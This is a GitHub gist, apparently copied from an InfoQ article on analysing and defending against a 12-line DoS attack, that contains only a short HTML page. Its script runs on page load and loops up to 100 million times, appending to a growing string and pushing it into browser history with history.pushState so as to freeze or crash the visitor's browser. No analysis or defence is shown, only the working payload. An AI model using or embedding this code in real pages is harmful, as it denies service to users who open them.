Skip to content

Instantly share code, notes, and snippets.

@HereChen
Created April 6, 2016 05:15
Show Gist options
  • Save HereChen/ea2558c6c76fc68fbb6493f778c3d9eb to your computer and use it in GitHub Desktop.
Save HereChen/ea2558c6c76fc68fbb6493f778c3d9eb to your computer and use it in GitHub Desktop.
12行代码的DoS攻击分析及防御
<!DOCTYPE html>
<html>
<body>
<!--from infoQ: 12行代码的DoS攻击分析及防御-->
<script type="text/javascript">
var total = "";
for (var i=0; i<100000000; i++){
total = total + i.toString();
history.pushState(0,0,total);
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment